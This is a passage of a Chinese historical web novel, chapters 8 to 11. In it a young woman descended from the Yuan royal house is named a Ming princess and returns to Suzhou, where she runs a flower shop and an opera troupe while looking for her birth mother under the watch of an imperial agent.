“不必寻了。”阿颜从衣箱里随意挑起一件衣衫,挂在屏风上,“家常衣衫便可。”
8. 第八章 高昌公主
翌日才过五鼓,阿颜起身梳妆。
“姑娘。”白篱面色发白,手紧紧攥住衣襟,“姑娘要的樱花,我折来了。”
初绽的春樱还缀着几点露水,阿颜将脸凑在花枝之间,鼻尖点上一颗露珠,一直滚落到衣襟上。
阿颜转头向白篱笑了笑,“好了,我走了。白篱,等我回来。”
“哎,白篱等着姑娘!姑娘一定要回来。”白篱双手紧扣窗棂,踮起脚望着阿颜与王献越走越远。
微曦绵延,白篱恍然觉得他们似乎正走上一条遥远的路,直到高至云霄。
阿颜立在阶下,怀里樱花如云,神色静穆,如同塑像。
有内侍匆匆步下台阶,“姑娘,里头议事已毕,皇上宣你了。”
“好,多谢。”阿颜微微一颔首,侧头瞥王献一眼,提起裙袂拾阶而上。
满朝文武齐齐注目于缓步走进朝堂的女子,她抱在怀里的樱花随着轻摇不时飘下片片花瓣,落在一尘不染的朝堂上。
“儿参见皇上。”阿颜屈膝下去,一边说道,“普济寺的樱花开得很好,儿折了几枝来。”
内侍从她手中接过樱花,顿下脚步细细打量她一眼,才呈到皇帝面前。
粲然的春花,粲然的春景,还有面前如春樱一般粲然的女孩,点燃了单调沉闷的大殿。
皇帝不由露出一丝笑容,“你叫什么名字?”
阿颜被内侍扶起,抬起头答道:“儿小字颜颜,没有名。”
皇帝翻开一本文书,念道:“朱氏颜,父至正年间礼部侍郎朱珩,有才名,母高昌公主之女弦月。”
殿上一片肃穆,无数道灼灼的目光锁着大殿正中亭亭而立,仿佛塑像的年轻女郎。
父亲是元朝旧臣,母亲淌着宗室血脉,这女孩难道不知道自己的处境并不乐观吗?
左侧首位的人走上前一步,略略躬身,奏道:“皇上,此女乃前朝余孽,臣以为应移交有司处置,而非涉足朝堂。朝堂者,乃……”
“朱氏阿颜,可知有人告发你乃前朝公主?”皇帝很不给面子地打断了左丞的话,放下文书,看向阶下坦然立着的少女。
阿颜颔首,从容答道:“钦察衰矣,族人隐于庐州,早已易姓改名数代。何来公主之说?”
“哈哈,好个丫头。”皇帝捋须,目光落在案头粲然的樱花上,含笑道,“普济寺的樱花确确开得最好,难为你能想到朕。你既没有名,朕便为你赐名‘樱’,如何?”
阿颜眨了眨眼,再次盈盈拜倒:“儿臣谢恩。”
朝中再次一静,寂静无声。
“樱”与皇子皇女们辈分相同,她又本姓朱,皇上或许有意说这样的俏皮话逗她一逗。
可这女郎竟如此机敏、从容,仿佛理所当然,本该如此,没有半点吃惊愣怔的神情。
“甚好,从今往后,阿樱就是朕的女儿。不是钦察汗部的公主,也不是北元的公主,而是我大明的公主。”皇帝点头,果然是个聪明识趣的女孩,看来那《紫衫记》确乎出自她之手,绝非请人代笔。
阿颜起身,内侍上前向她行了一礼。
“儿臣尚有一事。”阿颜抬起头,“儿臣请赐号‘高昌’。”
高昌公主月迷失,与生父顺帝反目为仇,甚而乔装入宫行刺。她的后人,虽未必仍与元宗室有着不可调和的刻骨之仇,但他们永远都不再是一家人了。
皇帝打量着她,女郎的脸上没有任何多余的表情,她不怕,也不欣喜,只是说出最令人欢喜的话,说出旁人最希望她说的话。
果真是十分识趣的女孩子啊。
“准。樱,第十女,赐号‘高昌’。”
白篱托着腮帮,目光茫然地看着床榻上铺开的锦绣烂漫的朱红朝服,不可置信地把眼睛一揉再揉,又打开册封的金册看了又看。
朱樱坐在窗下扎花,一身莲青色春衫,处理完礼部和宗室繁冗的事宜,她终于得以回到居住的院落暂歇。
“姑娘!”白篱跑到她面前,蹲在她身前,又惊又喜,“我家姑娘是公主了!我该不是在做梦吧?”
朱樱摸了摸她的额角,不说话。
白篱不解:“姑娘不高兴吗?是不是太累了?”
这些日子忙着册封之事,虽然没有盛大的典礼,但处理各项事宜也费了不少精力,直到今日才闲下来,累着了也不奇怪。
朱樱转头望向窗外,王献换去了一身黑衣,身着青色官服,佩着刀,正转过影壁,走进院落。
“白篱,去请王大人进来。”
白篱一怔,木木点头,这些日子她也跟着宫中教习姑姑学了些礼仪,往日跳脱性子收了几分。
王献跨进门槛,仍旧立在第一道珠帘外。
朱樱起身走到珠帘之前,隔着随风晃动的琉璃珠看着王献:“王大人真要随我回姑苏吗?”
她昨日上书请求仍回到姑苏,皇帝准了,但派遣王献随行,说是“护卫”。至于究竟是护卫,还是监视,就不好说了。
王献并不作答,取出两本蓝皮书册,正是之前呈上的戏本,递到朱樱身前,“皇上要告诉你的话,都写在上面了。”
朱樱随手翻到最末几页,见所有边页与夹行中都写满了蝇头小字。
既然认下她,不吝给予庇护和荣耀,自然要做的事也不容易。
暂返姑苏,不仅是她的意愿,也是皇帝对她的安排。
“我母亲……你知道她亦在姑苏?”朱樱抬眼,琴娘弦月是她的生母,可这么多年来,她连一面都没有见过。
“是。”王献点头,“当年大都宫中,未寻得玉玺,弦月在大都城破的当夜进入宫墙之内,是否曾见?”
淌着元宗室血脉的弦月从朱府不辞而别的半年后,于大都城破之夜现身宫中,为的究竟是什么?她又得到了什么?身为月迷失之女,钦察部后裔,弦月究竟怀着怎样的秘密?
传国玺在这片土地上流传了千年,就这么失却了,不能让天下人心服。还有那被带出大都的小皇子,皇帝想要养大的小狼崽,弦月当年又是否见过?
这些都是皇帝急于知晓的
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,也是厚待面前少女的原因之一。
朱樱点头,这些事,确实是她来到应天府之前就预料到的。
王献道:“今日初更,卑职护送殿下,连夜归姑苏。”
朱樱挑眉,这么急迫?自她离开朝堂那一日,至今未曾在应天自由行动过片刻。
“回去之前,我要去一个地方,可要上报?”
“何处?”王献皱眉。
朱樱披上外罩,似乎笃定他不会拒绝:“太医院。”
才跨出大门,御街上迎面走来一人。
王献顿住脚步,向来人拱了拱手,神情冷淡:“左丞大人。”
左丞相笑笑,目光在朱樱身上溜过一圈,“听闻高昌公主急着要回姑苏吧?这会儿怎有工夫与仪鸾司的副使大人在外面闲逛?”
“是。”朱樱不避他的目光,笑道,“儿有故人目下在太医院中任职,想在回姑苏前拜访一下。”
“哦。”左丞相又笑笑,貌似不经意地道,“我倒听闻副使大人也有一位好友在太医院药园,想来是与殿下同路。”
王献无动于衷。
“哈哈,殿下,你不知道,这应天府看着好,可不见得太平,还是小心些才好。”左丞相拱了拱手,与王献错身而过时,低声问道,“小草,那件事毛大人考虑得怎么样了?”
王献仍然面无表情,目送左丞相扬长而去。
朱樱抱臂看着左丞相的背影,微微垂下眼,唇角抿起,神色复杂。
走到太医院阶下,朱樱沉默片刻,摇头,“我不进去了,就在外面走走。”
“他……”王献停顿一下,改口道,“卑职去查看附近有无闲杂人等。”
说罢,转身就走。
“王献。”朱樱叫住他,“他今日不在,是不是?”
“既已猜到了,何必再问?”王献侧过身,指着南边院落,“药园在那头,殿下若想去,就去吧。”
“我知道。”朱樱神情落寞,顺着空无一人的御街慢慢向南走。
高墙内探出葱郁的草木藤蔓,临近墙边的角落里,一株高大的夹竹桃树探出墙头,墨绿色的叶片比竹叶更尖利,随着春风拂动,满树细叶簌簌作响。
一片黄叶顺着高墙落下,落在朱樱掌心。叶子不是枯槁的暗黄,而是明黄色,叶尖和叶柄的地方还残留着浓重的绿意。
夹竹桃连开三月,绚烂如锦,据说六十年才结一回果,因此又有绮丽、甲子桃等称。
花开绮丽如霞,绚烂如锦,却遍身皆毒的骇人的花。
朱樱背倚高墙,握紧手中那片黄叶,缓缓闭上眼。
不管重来多少次,不管是进入史书所载的朝代,还是那些闻所未闻的国度,都会无一例外被卷入时代的洪流之中吗?
还真是让人无可奈何的奇怪命运。
王献不知何时回来的,“高昌,时候不早了,回去吧。”
“我知道了。”朱樱一转眼眸,抬步离开,不再回头望一眼。
御街尽头晚霞明灭,映得天地间一片绚然。
9. 第九章 如意
第9章如意
立夏一过,平江河边的柳荫下就热闹了起来。
人们往往搬出条凳或藤椅,东家抬来八仙桌,西家从家里拿来骨牌,再拉两个人来,一起聚在柳荫底下,推一下午的牌九,极有趣。
小摊贩们也纷纷赶着人们聚在河边乘凉,推出冰镇的酸梅汤和绿豆汤、各色茶点,并糟卤的毛豆、鸡爪、小虾蟹等,沿街叫卖。
人们消暑无聊,多半买上一点,一边吃喝一边闲谈,也就消过一天去了。
河边几个打牌九不时冒出一句难懂的话:“看我的,压八还九,七不过二。”
对手的人看一眼牌,说道:“我看这一把,凑成一个,大刀砍梅花,红人弹琵琶。”
“哎,我这牌。”有人“啪”地将骨牌一推,“你们看,我这一回可赢了吧!”
大家有笑有骂,胜者从输者跟前抓过一把乌溜溜的西瓜子,放在自己跟前,满满一堆。
众人重新洗牌,河边“嗒嗒”的骨牌声不绝于耳。
“哎,说起来,今日街上是不是开了一家新铺子?店名叫做什么‘太平’还是‘吉祥’来着?”
“什么太平吉祥,那铺子唤作‘如意花坊’,卖那些花花草草和胭脂水粉,都是女人们喜欢的玩意儿。听人说啊,是忆桵姑娘手下的产业。”
“啧,那个忆桵姑娘,到底什么来历啊?”
忆桵姑娘是暮春时候突然在姑苏闻名起来的,她不知从何而来,一进姑苏,竟惊动苏州府官吏夹道相迎。
但那位姑娘低调得很,姑苏百姓连她的影子都没见着。
要说后来见着的时候,也奇怪——那位不知什么身份的姑娘,竟跑去戏园子里排戏,排的一出戏还是新的,唤作《紫衫记》。
《紫衫记》说的是前朝事,众人不过当个故事听,这出戏辞藻华美,台词活泼,其中故事更是缠绵悱恻,倒骗了众人不少眼泪,每月都要排上几回戏,请那位忆桵姑娘坐在台下指点。
戏听得多了,人们慢慢知道了这出戏的来历——据说就是戏中琴娘弦月的女儿写了这出戏,呈到皇帝面前,皇帝一高兴封那女孩儿做了公主。
有好事者跑去后台,拿这事问那姑娘,那姑娘脸上画着淡彩,说道,正是新封的公主遣她来姑苏排这出戏,因为公主自幼在姑苏长大。
大伙一合计,这样说来,姑苏竟出了一位公主,姑苏人长了一回脸,因此更爱听这出戏了。
“说起那位姑娘,不仅戏腔唱得好,人也精明,竟会做生意。”有人一边喝着酸梅汤,一边叹息,“说来,似乎没人见过她卸下妆面的模样——敢不是个男子吧?”
本来,优伶之类就不是什么好的,良家女儿怎会乐意涉足?
几人正说着,身旁经过一个绿衣少女,头上梳着双环垂髻,手中提一个食盒,大约才沽的酸梅汤。
她脚步轻快地经过平江河一侧浩浩荡荡的乘凉的大军,在听到几人闲谈的内容时不禁“噗嗤”一笑。
抹骨牌的人不禁抬头看她一眼,少女身上丝料轻薄,刺绣精美,定是大户人家的侍女。
少女一直走到望齐门下,城门的荫蔽下静静停着一辆精致小车,缂丝的绛紫色纱幔随着熏风起伏,不时被风拂开一角,露出里面斜倚车壁而坐的紫衫女郎。
“姑娘,我买回来了!”少女把食盒搁在车辕上,一提裙子跳上车,撩开幔子,“是姑娘最爱的那户人家做的酸梅汤。”
“白篱,你也喝一碗消消暑,上半日在铺子里忙,累了吧?”朱樱放下手中书卷,坐直身子,铺开小案。
“不累,姑娘把要说的话,要做的事都教给我了,我照着做便是了,又不用自己想,累什么呀?”白篱笑眯眯地打开食盒。
食盒里腾出一片白雾,白雾散后,露出里面两层的冰块,一个小巧的陶瓶夹在两层冰块之间。
白篱拿出三个玉色茶盏,抓着陶瓶的细脖子,一扬手,冰凉可口的酸梅汤倾入茶盏,绛红色的汤汁映在瓷白的碗内,仿佛紫晶般,煞是好看。
“姑娘。”白篱探头探脑,左顾右盼,却不见人影,不由问道,“王大人去哪儿?”
因王献说要在姑苏城中秘密行事,白篱一向只在无人时才称他“大人”。
“说是查一个人。”朱樱端起冰凉的茶盏,低头抿一口酸梅汤,桂花与糖的香甜在口中蔓延,唇上沾染了紫红色的汤汁,明艳可爱,“不必给他倒,他又不喝。”
白篱不由舔舔唇,嘟起嘴,“不是说……皇上派他来保护姑娘的吗?三天两头不见人影,谁知道……”
朱樱向她摇头,抿唇一笑:“你又忘了,他虽三天两头的不在,只你一说他的坏话,他准就回来了。”
话音未落,车帘被一掀,一身黑衣的王献出现在车前,一手扯着马缰,一手扶起车帘,看着白篱。
“哈呀!你、你这人……走路怎么没有声呢!”白篱往朱樱身旁缩去。
这人神出鬼没的,简直不是人!白篱愤愤不平。
朱樱神情淡淡的,她心中比白篱更清楚王献要找的是谁,因此王献的神出鬼没也好,手段多端也好,她都不觉得惊讶。
“去铺子吧。”朱樱端起剩下的酸梅汤,递给王献,“白篱给你倒了,盛情难却,喝一口吧?”
王献拉下脸,但到底没有拒绝,接过去一饮而尽,不知是否喝出了些许滋味。喝完后,将碗在车辕上一放,拉过缰绳,往南边街道走去。
午后炎热,花坊前的人渐渐散去,阶下还散落着开张时燃放的鞭炮爆竹。
白篱跳下车,招呼伙计,“嗳嗳嗳,来个人把门前这些扫了。”
铺子里的掌柜和伙计们认得白篱,知道是主人家来了,忙跑出来迎接。
朱樱隔着车帘说了几句,尚未说完,王献不耐烦,将车直接带进后面小院。
“真是心急。”朱樱笑着嗔怪,伸手打起车帘,慢慢走出。
她一身莲青色细纱衣衫,下面一条雪白的裙子,散着几点销金花纹,王献不认得那是什么花,只觉得眼熟。
“你倒是不急。”王献冷脸,“亲自跑去戏园子里教伶人唱戏,还张罗着开什么铺子!”
亏得她不是真公主,否则还能容她蹦跶到现在?
朱樱推开攀爬着茑萝和薜荔的竹篱门,抬脚跨进门槛,瞥了王献一眼。
王献随她来姑苏近三月,一张脸总是冷着,好似难得笑一笑,也是比哭更难看的模样。
“虽上面催得急,但
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有的事确实急不来啊。”朱樱笑着推开门窗。
刚进屋就是一面镂空隔断,雕着百鸟与牡丹的花样,一槅一槅,大小形状不一,有的放着小巧的瓷瓶,有的搁几束色彩艳丽的干花,还有丝料、簪环,或是金石珠贝,甚而晒干的药材。
王献的目光落在最上层的瓷瓶上,小巧的瓷瓶刚好能握在掌心,一滴水的形状,瓷瓶肚子上绘一朵青色似桃的花,塞子五光十色,排成一溜,似乎一道彩虹。
他在苏芥那里,也见过这样形制的小瓷瓶。
他还从苏芥那里取用过几个小瓷瓶——他心里很清楚这些瓶子里装的是什么。
“你看,这个小院子,我吩咐他们都不要进来,白篱也不可以。”朱樱顺着他的目光,看向那一排小瓷瓶,“在这里,你行动会便利许多。”
王献没吭声,心里却着实觉得朱樱当真心细如丝,极会筹划。
他来姑苏三月,不好借住在她那小院中,若住在府衙,又颇觉束手束脚。如今得了这处,果然便利许多。
“还有,除了找人以外,想必你尚有别的公务,那些小瓶子或许也有能用上的。”朱樱弯起眉眼,笑一笑。
王献看看她,又看看那一排瓷瓶。
突然说道:“你们,真是比我还不把人命当回事。”
朱樱抬头看着他,“我们?啊……你是说宣清吧?他本就是这样的。”
王献皱眉,“你果然认得苏芥?”
一个是翩翩药师,在药园中栽药种草,教导生徒,偶尔也出诊为人诊病;一个是才情容貌俱佳的年轻女郎,语笑嫣然,举止从容,谁能想到他们调出数十种药剂,种种皆能见血封喉?
“假苏为荆芥,肺经之药;肺司呼吸,行宣散清肃之职;肺属金,金主肃杀,在四季合为秋,商风凛冽。”朱樱从什锦格子上拈起一茎晒干的草叶,上面开着白色的小花,一直开至顶端,然后被采下晒干,“‘苏芥’吗?……他现在的名字,是么?”
她第一回听到苏芥二字的时候,就知道是他了。
“……我与他相识四载,也见他有此物。”王献自嘲道,抬手捏起一个小瓷瓶,“不论如何,我能爬到这个位子,要多谢他,之后,怕也要多谢你。”
就像当年那个案子一般,用药毒杀人,却能与发病而死一般——他们做的有些事,真是太需要这种东西了。
“这是我应当做的。”朱樱又一笑,“皇帝准我回来,自是希望我能帮你。”
她顿一下,又摇头:“也不能说帮你,我们都在替皇帝做事。你为仕途,我为活命,我们应当是合作。”
合作……王献倒是头一回觉得合作二字如斯顺耳。
王献抬步要走,忽然一顿,问道:“这铺子,为何唤作‘如意’?”
“怎么?”朱樱跨出门槛,望着攀上墙头的紫藤,“是不是觉得,这二字太过落俗?”
王献不语,雅俗事上他没什么见解,只是隐隐觉得以这女郎的才情,与这二字不符罢了。
“这市井街巷,乡野村落,人人皆知祝人‘万事如意’,开铺子可不就该让人耳熟能详,一下子记在了心上?”朱樱抬眼一笑,又摇了摇头,“可这世上,真能事事如意的人,只怕一个没有。”
10. 第十章 忆桵
一湾流水三折回廊,水边两两坐落着竹木小屋,牵牛的藤蔓顺着竹屋攀爬,垂下一朵两朵紫色或粉色的花。叮咚水声伴着咿咿呀呀的戏腔,晃晃悠悠传进四面玲珑的雅阁内。
身着锦绣衣衫的中年男子捧着一叠册子,满脸堆着笑容,走向凭窗而望的紫衣女郎。
“忆桵姑娘,你看,这些是这个季度的账册。自从听了姑娘的话,在姑苏盘了一处铺面安顿下来,我们戏班真是日进斗金。”
“我不看了。”朱樱回过身,背倚窗格,手中抱一柄刺着满架蔷薇的轻纱团扇,含笑点头,“刘班主一直遵守我们的约定,就是对我最好的报酬。”
“哈哈,不敢,不敢。”刘大成连连拱手,低声笑笑,“能遇上姑娘,真是刘某三生之幸。姑娘吩咐我做的事情,我吃饭睡觉都不敢忘记。”
朱樱一扬眉,手指探出窗格,绕住一茎牵牛,指尖轻点上鲜嫩的花朵,“这样说来,你已经找到弦月了吗?”
“正是。”刘大成把账册揣回怀里,凑到朱樱耳边轻声道,“我找人打听过了,乐云楼有一位琴娘名为子规,从前的名字就叫做‘弦月’,相貌年纪都与姑娘说的相似。”
朱樱沉默一刻,又问:“她可愿到你们戏班?”
“不愿。”刘大成遗憾摇头。
那位琴娘今年三十出头,风韵犹存,一身好琴技,是个风雅美人,只是气性高得很,请不动。
朱樱低头思索。
“乐云楼这种地方,接待女客吗?”
刘大成一怔,忍不住笑出声,看着朱樱连连摇头:“姑娘可别动这个主意,一来姑娘到底还未出阁,隐姓埋名往我这儿来倒也罢了,乐云楼那种地方却去不得。”
“二来……”刘大成看着她又一笑,“姑娘生得昳丽,就算乐云楼的花魁也及不上姑娘,姑娘怕是进不得他们的门。”
不知道的人定以为这漂亮的小娘子是进去砸场子的。
朱樱也失笑,手中一松,将牵牛的藤蔓送回窗外花架上,折了一朵紫色花朵簪在自己鬓边,慢慢向外走,“如此就算了,她不愿离开乐云楼,那我就叫人去查整个乐云楼。”
“姑娘,刘某有一言,不知当讲不当讲?”刘大成见朱樱顿住脚步,和善地看着他,大起胆子问道,“常与姑娘一道的那位郎君,不知方不方便进乐云楼查探?”
“王献?”朱樱屈起两根手指,托着下巴。
皇帝嘱她在姑苏找到弦月问一些事情,而命王献搜寻藏匿在姑苏城中的北元小皇子,虽没明说要他们通力合作,但既然如此安排了……大抵就是要两人合作吧。如此,直接嘱托王献去寻弦月也无不可。
“正是。”刘大成笑眯眯。
他还忧心那不苟言笑的郎君与朱樱有什么关系,不敢贸然说这样的建议,现在看来两人应当只是普通朋友。
“那就让他走一趟吧。”朱樱粲然一笑。
一想到王献那不苟言笑的性子和毫无表情的冷脸,对上那些热情洋溢的花姑娘,不知是怎样鸡飞狗跳的场景,她就想笑。
刘大成挠挠后脑勺,不解地看着朱樱幸灾乐祸的笑容。
不过,这些事不归他管。
他们德兴班三个月前刚好来到姑苏,排的是昆曲。进城的路上,遇上一辆精致小车,载一名年轻女郎并一侍儿,驾车的是一冷面郎君,那女郎与他们攀谈了几句,便问他愿不愿意为她做事。
刘大成本将信将疑,不想同路进城时,这昳丽女郎竟惊动苏州府官员亲自迎接,刘大成觉得机会难得,连夜寻到女郎。
这女郎便是朱樱。
朱樱指点他排演时下流行的曲目,指点他驻扎姑苏开戏园子,亲自替他寻了城中最繁华的街道,亲自画出戏园的布局图谱,遣人收拾一新。
作为交换,戏园每月需排演朱樱所作戏本《紫衫记》,朱樱偶尔也会化名忆桵来指点生意,刘大成必须隐瞒她的身份;此外,就是替她在姑苏找一个名叫弦月的琴娘。
刘大成猜她的身份非富即贵,但朱樱不愿说,他一次也没问过。
朱樱轻快地踏出门槛,拨开门前垂落着的朱红色锦屏藤。
白篱倚着廊中门板,百无聊赖地将手中丝帕叠出一只白白胖胖的小兔。
朱樱转过扇柄,在她额角轻轻一点,“白篱,我们回家了。”
白篱猛地一回神,被锦屏藤缠了一身,一头撞在竹屋墙壁上,震得锦屏藤翠绿的叶子一阵乱晃。
“回家了。”朱樱拨开锦屏藤,笑着拂去白篱头发中和肩上的落叶,“王献有事去了别处,我们别管他。”
白篱点点头,不由回头看一眼方才的雅阁,小声问道:“姑娘要找的弦月,不是姑娘的娘亲吗?”
她看过《紫衫记》,还听二太太蔺氏说过,姑娘的娘亲,是有着蒙古人血脉的传奇女子弦月。
朱樱戴上帷帽,面色隐在轻纱内,看不分明,“白篱,你说,究竟生你的人算得上母亲,还是养你的人算得上母亲?”
“这……”白篱抿了抿指尖,摇头,“白篱也不知道。”
小车渐渐驶出城门,白篱打起车帘,帘外是连绵的青山。
虎丘山近在眼前,山上六角形的高塔腾起袅袅云烟,山腰凉亭旁一片奶白色的茉莉花丛尤为醒目,似乎随着湿润的风送来了茉莉清浅的香气。
“姑娘,到虎丘了。”白篱拍了拍手,“姑娘前些日子买下来的田产,不去看一看吗?我听苏家老爷说,云珍姑姑也在田上。”
“好。”朱樱放下手中书卷,整一整衣襟,披上莲色外罩。
她在虎丘山下买了大片的田产,划为十余片,依照时令种不同的花草。
这些花草,或入药制香,或制成糕点、干花等,也有一些被花下大力气做成精致的盆景,摆在花坊内。
花田位于虎丘山阴,得一角阳光,另有一角池塘,种着大片荷花与菱角。此时临近正午,田间来往的花匠都躲在虎丘山投下的荫蔽中,盘腿席地而坐
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,有的饮茶,有的啃馒头,谈天说地,谈笑风生。
他们见了朱樱,忙不迭放下手中物什,起身相迎。
“不必麻烦。”白篱挽着竹篮,提起裙袂,在田埂上轻盈走过,影子映在水田里,与蓝天上游弋而过的白云相掩映,仿佛仙子。
“白篱姑娘。”花匠们齐齐问好。
“各位大哥不必客气。”白篱揭开竹篮上蒙着的青色绸布,取出里面码得整整齐齐的白煮鸡蛋,“这是我们姑娘给各位大哥加的午饭,各位不用客气,若要带回去给孩子,我这还有,尽管吃。”
花匠们“哈哈”笑起来,雇他们的这位姑娘真是人精,将人的心猜的一丝不落。
大伙笑过后,纷纷从白篱手中接过煮鸡蛋,在石块上敲碎,熟练地剥去蛋壳。
白篱一回头,朱樱已经和苏云珍一起绕过田埂,走到池塘旁。
白篱识眼色地转了身,往种着茉莉花的那片田地走去——如今正是茉莉的时令,姑娘说要做一个以真娘为名的香囊,要她先想法子。
池塘近旁堆着卵石,卵石之间生出无数菖蒲,花朵仿佛停歇在岸边的黄色蝴蝶,几只白鹭支着长腿在滩涂上钓鱼,见了人也不怕,仍悠悠地在浅水处踱步。
朱樱挽着苏云珍,顺着池塘,一直转到伸入池塘的木廊。
“母亲,我找到弦月了。”朱樱看着池塘中随水摇晃的菱叶,忍不住去数它按照正菱形排列的叶片。
“……她还好吗?”苏云珍摸摸朱樱发丝,“阿颜怎不亲自去见见她?她到底是你的娘亲。”
朱樱低下头,漫无目的地向着长廊尽头的水榭走去,回头看看苏云珍,无奈笑道:“如果不是她,我就不会像现在这样辛苦了,母亲也不会。”
不会有她,不会有后来的事,也不会有数不清的别离与重逢。
第一最好不相见。
可惜没人给过她这个机会。
“忆桵……吗?”苏云珍略偏过头,伸手拂过长廊两旁的摇曳风荷,走向她照顾了十余年、甚至更久的女儿,“阿颜虽然总说现在过得辛苦,却一直努力地活着。”
朱樱缄默。
忆桵,是她在现代的名字。依瑞逆斯是复仇女神,她取谐音为名,为的是激励自己努力活下去。
在无边无际的绝望之中,只有恨才能给人不竭的动力,勇敢活下去。
可是,时至今日,她甚至不知究竟该向谁复仇。
“阿颜。”苏云珍摸摸她的面颊,“阿颜做得很好了。”
苏云珍挽着她回过身,望着空荡荡的长廊,两侧荷花探进长廊,在风中摇曳,似乎做着永不停息的舞蹈。
“去路是渺茫的,可是阿颜一直在努力地向前走。”苏云珍握着朱樱微凉的手,“母亲相信你,一直都相信你。”
“我也一直都相信您。”朱樱掩下眼帘,轻声道,“母亲这一次,哪里也不用去,什么也不必做。让我一个人去,就当做是我还报您的养育之恩。”
11. 第十一章 春风先到凤凰台
王献躲在一堵粉墙后,透过镂空的花窗,默不作声地看着街道上人来人往。
姑苏的街道掩映在垂柳之间,透着莫名的悠闲之感。
街道上行人寥寥,柳树上蝉鸣声声。
王献抬头望望青色的滴水檐,檐角飞翘,仿佛燕尾。一场行雨过后留下的水迹,顺着檐角慢慢低落,不时滴答一响。
王献再次看看垂柳荫蔽下的街道,几人正在平江河边歇午觉,敞着衣襟,脸上盖一把大蒲扇。
王献顿觉无聊,足尖踢开脚边一小块石子。
应天府正暗流汹涌,他的同僚们忙着调查左丞相的罪证,只有他被安插在这软绵绵的姑苏城中,查什么无关紧要的北元小皇子,真是有劲无处使。
虽这样想,王献依然一丝不苟地盯着寂寂的街道,不敢漏过一个人影。
一个黛衣女郎出现在视线内,头戴青色帷帽,一身暗色的轻薄夏衫,足上一双木屐还沾着雨水的痕迹未干透。
昨日有人给他传话,要他盯紧了这黛衣女郎。
王献的目光锁在黛衣女郎身上,见她折进街边布庄,正要跟上,脚才迈开一步,那女郎又从布庄里出来,慢悠悠地走上街道。
水边带着湿意的熏风一晃,撩开那女郎面前一角轻纱,露出雪白的肤色,和一双幽深眼眸。
王献立刻顿住脚步。
那女郎一双眼眸蓝幽幽的,像是精明敏锐的猫儿,似乎已经发现他正在一旁窥探。
女郎抬手将帷帽压得更低,手中团扇一晃,闪身进了布庄旁的茶楼。
王献不敢轻易现身,只在墙后穿行,透过花窗密切关注着那黛衣女郎的行踪。
女郎一连进了街边十余处铺子,王献跟着她一路奔走,挂了一身碎叶落花,再抬头时,花窗之外忽然人影全无。
“该死!”王献一拳捶在墙上,将青瓦垒成的花窗震得一跳。
那女郎莫不是属泥鳅的,如此滑不留手,不过穿过两个花窗之间的时间,她就跑得没影了?
“哈,小草在这里做什么?莫不是阿颜遣你为她栽花来?”
王献满脸乌云,回过头看着从远处走来的年轻药师。
“你怎还在姑苏?”王献抬手掸去肩头的草梢树叶,皱眉环顾四周。
他只顾着追人,没留意走进了一个园子,园中草木葱茏,不知是什么地方。
“应天府有些不太平,我看姑苏倒好些,恰好这林家药铺与师父有旧,我就带着师弟在此暂住一段时日,等事情平息了再回去。那些生徒们不也乐得放假么?”苏芥笑了笑,“小草没被调回应天府,是不是很懊恼?”
“你这人说话能不能别这么戳人痛处?!”王献抄起手,往院墙上一靠,“哪壶不开提哪壶。”
眼看旁人为国效力,办的是谋反的大案子,他却窝在这太平地界做什么高昌公主的随从和护卫,暗地里查探的东西也无甚意思,真不知道那个朱樱怎么就这么提得起劲来忙前忙后。
“那人的心事,无过是功臣背主,与远遁的北元。”苏芥笑笑,“你也跟着毛大人做了不少事,心里当真没数吗?”
“……那人?”王献愈加皱眉,“苏芥,你妄议朝政也就罢了,就不信我在皇上面前参你一本,说你……”
不待他说完,苏芥就笑着打断:“不信。”
“你!”王献气得无话可说。
他当然不会真去参他一本,一个无足轻重的药园师,别说皇帝,就是他也没那闲工夫为他罗织罪名。
“我与你说的是正事,阿颜她已寻到了弦月,你再不赶紧,到时交不了差,可枉费那人特意将你调来姑苏。”苏芥正色说道。
“那是皇上,你……”王献正要说教,猛地一顿,看向他,“她已找到弦月了?还有,你怎知皇上是特意将我调来姑苏?”
竟有人消息灵通胜过都尉府?王献一脸狐疑地看着苏芥,盘算着都尉府里有没有哪一部还缺了人,适合推荐苏芥去的。
“他最忧心的旧臣,早已是七零八落,眼看这一次收网,又要收走一大批。”苏芥面不改色地说道,似乎在说一件陈年旧事,“如今岂不正是时候解决北元和云南之事的时候?”
十五年前,洪武元年闰七月,明军攻克大都城,放走了元惠宗。惠宗是个识相的,逃至关外,放弃了中原之地。皇帝不想与元帝打到你死我活,送了惠宗一个尊号为顺帝,顺应天命之君,两方就此相安无事。
但十五年过去,顺帝如今顺应天命去了来世,新君依然保留着北元之号,云南的梁王依然健在,不肯接受招降,甚至向北元执臣节如故,还出兵骚扰云贵边境。
这些事,无不是皇帝忧心的。
不想动兵,不想让后人留下穷兵黩武的评价,可这世事不尽如人意。
“平定云南固然是皇上忧心的,可这与我调来姑苏有何关系?”王献不耐烦地在墙内踱步,他也听皇帝慨叹,什么时候元帝放弃北元之号,回草原上当可汗去,他这一颗心才能真正安放下来。
“十五年前,弦月于大军攻破大都之夜现身中宫,带走的东西里,有一件与云南有关。”苏芥闭目略一思索,缓缓道,“至于你追的那女郎,你只知姑苏有一位小皇子,却不知姑苏还有一位公主,乃是顺帝幼女,封号‘长安’。”
王献一哂,“顺帝末年政局混乱,上有党徒倾轧,下有起义不断,他倒还想着‘长安’?”
苏芥笑笑,不做评价,“阿颜遇上了些小麻烦,我既指点了你,你可要好好替她做事。”
“你们两个!”王献别过脸,沿着墙沿大踏步走到马头墙前,跳上檐头,气鼓鼓地走了。
朱樱走进花坊,白篱攀着后院的篱门,眨巴着眼,好奇难掩:“姑娘,姑娘……”
“怎么了?”朱樱来来回回走了几次,才将几捆药材尽数搬进院中。
“姑娘真的不让白篱进来么?”白篱可怜巴巴地望着朱樱,从前她和姑娘寸步不离,姑娘没什么事情不肯告诉她的,但自从那个王献来了,姑娘做事愈加神秘,还不让她知道。
“不必,我一个人能忙得过来。”朱樱掩上篱门,从门内反扣,隔着爬满绿色茑萝的竹篱看着白篱,“白篱,等我做完这些事,你先回家去吧。”
白篱扁了扁嘴,“可是……”
姑娘一定是要在这里和王献见面吧?
年轻男女,共处一室,这怎么能呢?虽然王献是仪鸾司的人,阴沉沉的,看起来似乎不屑于做这样的事……可她就是放心不下嘛。
“没事的,回去
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吧。”朱樱背过身,提起裙袂,踩着从花窗里漏进的阳光,慢悠悠地穿过檐廊,跨进门槛。
王献已坐在内间,面前堆着不少文书,眉头皱得拧了一个结。
朱樱抿一下唇,问道:“你今日是不是见过他?”
“你怎知道?”王献苦恼地揉了揉眉心,他遇到的怕不都是人精吧?
